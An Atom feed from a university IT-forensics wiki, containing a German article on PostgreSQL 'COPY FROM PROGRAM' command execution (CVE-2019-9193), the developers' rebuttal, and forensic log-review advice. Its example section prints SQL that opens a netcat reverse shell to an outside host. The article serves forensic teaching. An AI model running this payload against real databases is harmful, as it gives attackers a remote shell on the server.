<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="de">
	<id>http://it-forensik.fiw.hs-wismar.de/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=St190833</id>
	<title>IT-Forensik Wiki - Benutzerbeiträge [de]</title>
	<link rel="self" type="application/atom+xml" href="http://it-forensik.fiw.hs-wismar.de/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=St190833"/>
	<link rel="alternate" type="text/html" href="http://it-forensik.fiw.hs-wismar.de/index.php?title=Spezial:Beitr%C3%A4ge/St190833"/>
	<updated>2026-10-31T10:59:30Z</updated>
	<subtitle>Benutzerbeiträge</subtitle>
	<generator>MediaWiki 1.43.11</generator>
	<entry>
		<id>http://it-forensik.fiw.hs-wismar.de/index.php?title=PostgreSQL_Command_Execution&amp;diff=2176</id>
		<title>PostgreSQL Command Execution</title>
		<link rel="alternate" type="text/html" href="http://it-forensik.fiw.hs-wismar.de/index.php?title=PostgreSQL_Command_Execution&amp;diff=2176"/>
		<updated>2022-02-21T08:50:19Z</updated>

		<summary type="html">&lt;p&gt;St190833: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== PostgreSQL Command Execution ==&lt;br /&gt;
&lt;br /&gt;
In PostgreSQL steht den Superusern sowie Benutzern, welche der Gruppe pg_execute_server_program zugeordnet sind, die Funktion &amp;quot;COPY TO/FROM PROGRAM&amp;quot; zur Verfügung. Diese Funktion erlaubt es beliebigen Code im Kontext des Betriebssystembenutzers der Datenbank auszuführen. Die Funktion ist per default aktiviert und kann z.B. mit Hilfe von SQL Injection missbraucht werden um beliebige Befehle des Betriebssystems auszuführen (Postgres ist auf Windows, Linux sowie MacOS lauffähig). &amp;lt;ref&amp;gt;[https://www.postgresql.org/docs/current/sql-copy.html &#039;&#039;Postgres SQL COPY Funktion&#039;&#039;] Website des Postgres Projektes. Abgerufen am 21. Februar 2022.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Im Jahr 2019 wurde die Funktion als Schwachstelle gemeldet und bekam eine CVE Nummer (CVE-2019-9193). &amp;lt;ref&amp;gt;[https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9193 &#039;&#039;CVE Eintrag 2019-9193 &#039;&#039;] CVE Datenbank. Abgerufen am 21. Februar 2022.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Die Entwickler Postgres argumentieren hierzu, dass es sich dabei nicht um eine Schwachstelle handelt, da die Datenbank nie im Kontext eines Superuser läuft und es um nur um einen zusätzlichen Befehle innerhalb der bereits bestehenden Sicherheitsgrenzen des Betriebssystems handelt. &amp;lt;ref&amp;gt;[https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935 &#039;&#039;Entwicklerantwort zu CVE-2019-9193&#039;&#039;] Website des Postgres Projektes. Abgerufen am 21. Februar 2022.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Beispiel ==&lt;br /&gt;
&lt;br /&gt;
Ein Beispiel zum Ausnutzen dieser Funktion ist Folgendes. Hier wird eine Reverseshell mittels nc auf den Host 192.168.178.21 geöffnet. &lt;br /&gt;
&lt;br /&gt;
CREATE TABLE cmd_exec(cmd_output text);&amp;lt;br&amp;gt;&lt;br /&gt;
COPY cmd_exec FROM PROGRAM &#039;nc 192.168.178.21 4242 -e /bin/bash&#039;;&amp;lt;br&amp;gt;&lt;br /&gt;
SELECT * FROM cmd_exec; &lt;br /&gt;
&lt;br /&gt;
Unter der CVE ist ebenfalls ein Metasploit Modul zu finden, welche in der Lage ist die Funktion auszunutzen. &amp;lt;ref&amp;gt;[https://meterpreter.org/cve-2019-9193-postgresql-arbitrary-code-execution &#039;&#039;PostgreSQL Arbitrary Code Execution Vulnerability Alert&#039;&#039;] Nachricht zum Metasploit Modul. Abgerufen am 21. Februar 2022.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Forensische Maßnahmen ==&lt;br /&gt;
&lt;br /&gt;
Sollte bei der Datenbank Forensik eine Hinweis auf das Nutzen der Copy Funktion gefunden werden, ist die Forensik auf Logfiles des Betriebssystems zu erweitern. Idealerweise wird auf Logfiles außerhalb des Betriebssystems zurückgegriffen, da die Manipulation von Logfiles ein potenzielles Risiko darstellt. &lt;br /&gt;
&lt;br /&gt;
== Quellen ==&lt;/div&gt;</summary>
		<author><name>St190833</name></author>
	</entry>
</feed>